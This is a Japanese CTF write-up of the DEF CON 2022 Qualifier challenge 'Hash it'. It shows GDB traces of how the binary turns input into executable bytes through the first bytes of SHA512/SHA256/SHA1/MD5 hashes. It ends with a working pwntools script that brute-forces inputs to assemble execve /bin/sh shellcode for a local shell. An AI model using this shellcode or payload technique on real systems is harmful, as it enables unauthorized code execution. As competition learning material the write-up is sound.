DEF CON CTF Qualifier 2022 Write-up(Hash it)
DEF CON CTF Qualifier 2022に参加しました。
実生活で色々あり、3~4か月ほど全くCTFができない日々が続きましたが、段々と落ち着いてきたので
時間があるときには続けていこうと思いました。
ただ、以前ほど時間が割けなくなりつつあることが非常に残念です。
3月、4か月もやらないと、libc 2.27と2.31の防御機構の違いなど
すべて忘れてしまっていて、なかなか焦りますが、とりあえずリハビリでやりました。
pwnとかの区分けが無かったので適当にpwnっぽいのを解きました。
1問は開催中に解きました。
ただ、開催期間が終了したら、問題を見ることができないようで、どうにも復習がしづらい状況でした。
write upを書くほどの内容でもないのですが、ひとまず生存報告もかねて書こうと思います。
Hash it
? solves / ? points
開催期間中に解けた。
結構ポイントが低かったので、多分簡単だったと思われます。
実行すると何も表示されない。
デコンパイルして色々試していたが、最初に入力した値を変換して
Mallocしていることがわかる
(例えば、0x10と入力すると 0x10000000 をmallocしにいくようだ)
その後、再度読み込みを求められて、mallocした領域(下の画像だと、0x155554f16010)に値が入力され、
色々変換されて、他の領域に値が入力される。(下の画像だと、0x155554e96000)
そしてこの領域が実行される。
ということで、結論、どんな変換がされてるのかを解析して
任意の出力を作ることができれば、その領域が実行されるのでシェルでも何でも開ける。
(この時点で気づくが、簡単なrev問っぽい…)
ということで、いくつか入れて試してみる。
インプットがAAAA…の時
gdb-peda$ x/20gx 0x155555518000 0x155555518000: 0x2858803b2858803b 0x2858803b2858803b 0x155555518010: 0x2858803b2858803b 0x2858803b2858803b 0x155555518020: 0x2858803b2858803b 0x2858803b2858803b 0x155555518030: 0x2858803b2858803b 0x2858803b2858803b 0x155555518040: 0x2858803b2858803b 0x2858803b2858803b 0x155555518050: 0x2858803b2858803b 0x2858803b2858803b 0x155555518060: 0x2858803b2858803b 0x2858803b2858803b 0x155555518070: 0x2858803b2858803b 0x2858803b2858803b 0x155555518080: 0x2858803b2858803b 0x2858803b2858803b 0x155555518090: 0x2858803b2858803b 0x2858803b2858803b
BBBB…とすると
gdb-peda$ x/20gx 0x155555518000 0x155555518000: 0x7bfc719d7bfc719d 0x7bfc719d7bfc719d 0x155555518010: 0x7bfc719d7bfc719d 0x7bfc719d7bfc719d 0x155555518020: 0x7bfc719d7bfc719d 0x7bfc719d7bfc719d 0x155555518030: 0x7bfc719d7bfc719d 0x7bfc719d7bfc719d 0x155555518040: 0x7bfc719d7bfc719d 0x7bfc719d7bfc719d 0x155555518050: 0x7bfc719d7bfc719d 0x7bfc719d7bfc719d 0x155555518060: 0x7bfc719d7bfc719d 0x7bfc719d7bfc719d 0x155555518070: 0x7bfc719d7bfc719d 0x7bfc719d7bfc719d 0x155555518080: 0x7bfc719d7bfc719d 0x7bfc719d7bfc719d 0x155555518090: 0x7bfc719d7bfc719d 0x7bfc719d7bfc719d
BBBBAAAA…
gdb-peda$ x/20gx 0x155555518000 0x155555518000: 0x2858719d2858719d 0x2858719d2858719d 0x155555518010: 0x2858719d2858719d 0x2858719d2858719d 0x155555518020: 0x2858719d2858719d 0x2858719d2858719d 0x155555518030: 0x2858719d2858719d 0x2858719d2858719d 0x155555518040: 0x2858719d2858719d 0x2858719d2858719d 0x155555518050: 0x2858719d2858719d 0x2858719d2858719d 0x155555518060: 0x2858719d2858719d 0x2858719d2858719d 0x155555518070: 0x2858719d2858719d 0x2858719d2858719d 0x155555518080: 0x2858719d2858719d 0x2858719d2858719d 0x155555518090: 0x2858719d2858719d 0x2858719d2858719d
BBAABBAA
gdb-peda$ x/20gx 0x155555518000 0x155555518000: 0x28fc809d28fc809d 0x28fc809d28fc809d 0x155555518010: 0x28fc809d28fc809d 0x28fc809d28fc809d 0x155555518020: 0x28fc809d28fc809d 0x28fc809d28fc809d 0x155555518030: 0x28fc809d28fc809d 0x28fc809d28fc809d 0x155555518040: 0x28fc809d28fc809d 0x28fc809d28fc809d 0x155555518050: 0x28fc809d28fc809d 0x28fc809d28fc809d 0x155555518060: 0x28fc809d28fc809d 0x28fc809d28fc809d 0x155555518070: 0x28fc809d28fc809d 0x28fc809d28fc809d 0x155555518080: 0x28fc809d28fc809d 0x28fc809d28fc809d 0x155555518090: 0x28fc809d28fc809d 0x28fc809d28fc809d
私は怠惰なので、残念ながらREVをがっつりする元気はなかった。
ただ上記から、どうやらインプットを2バイトずつ区切りで、
なんかしらの1バイト列に変換しているだろう思った。
ただし、インプットの2バイトがそのまま素直に実行領域の1バイトと
1対1対応になっていないようだ。
GDBでデバッグしているとわかるが、インプットされた文字をmd5やSha1等に投げ込んでいることがわかる。
後はもはやメタ読みであるが、下記はAAをHashにかけた結果。
どうやら、
MD5: 3b98e2dffc6cb06a89dcb0d5c60a0206
SHA1: 801c34269f74ed383fc97de33604b8a905adb635
SHA2 256: 58bb119c35513a451d24dc20ef0e9031ec85b35bfc919d263e7e5d9868909cb5
SHA2 512: 282154720abd4fa76ad7cd5f8806aa8a19aefb6d10042b0d57a311b86087de4de3186a92019d6ee51035106ee088dc6007beb7be46994d1463999968fbe9760e
上記のハッシュ関数の1バイト目を引っ張ってきているようだ。
これでおおむね解けたので、あとはシェルコードを作り出すように実装するだけ。
方針としては、意図した1バイトになるように
2バイトをブルートフォースでつくりだしてつなげていくだけ。
あまり安定しなかった。exploitが通った直後にcat flagをすれば通る。下記はローカル用。
from pwn import * context.arch="i386" context.terminal = ['mate-terminal', '-e'] p=process("/home/ubuntu/Desktop/ctf/defcon/HashIt/zc7ejjq9ehhcqj1x61ekoa8pjtk7" , aslr=False) #gdb.attach(p) p.send(b"\x00\x01\x00\x00") def create_payload(payload): answer="".encode() for p in range(len(payload)): for i in range(0x01,0x80): for j in range(0x01, 0x80): tmp=chr(i).encode()+chr(j).encode() #print("searching", p, tmp) if p%4 == 0: # SHA512 a=util.hashes.sha512sum(tmp)[0:1] elif p%4 == 1: # SHA256 a=util.hashes.sha256sum(tmp)[0:1] elif p % 4 == 2: # SHA1 a=util.hashes.sha1sum(tmp)[0:1] elif p % 4 == 3: # MD5 a=util.hashes.md5sum(tmp)[0:1] else: continue print(a, payload[p]) if ord(a)==payload[p]: answer=tmp+answer print(p, "found!") break else: continue break return (answer) shellcode=b"" shellcode+=b"\x90\x90\x90\x90\x90\x90\x90\x90" shellcode+=b"\x05\x0f\x3b\xb0\x5f\x54\x53\x68" shellcode+=b"\x73\x2f\x2f\x6e\x69\x62\x2f\xbb" shellcode+=b"\x48\xf6\x31\x48\xd2\x31\x48\x50" p.sendline(create_payload(shellcode)*(0x100000)) p.interactive()
リハビリ期間中とはいえ、これしか解けなかったので精進したい。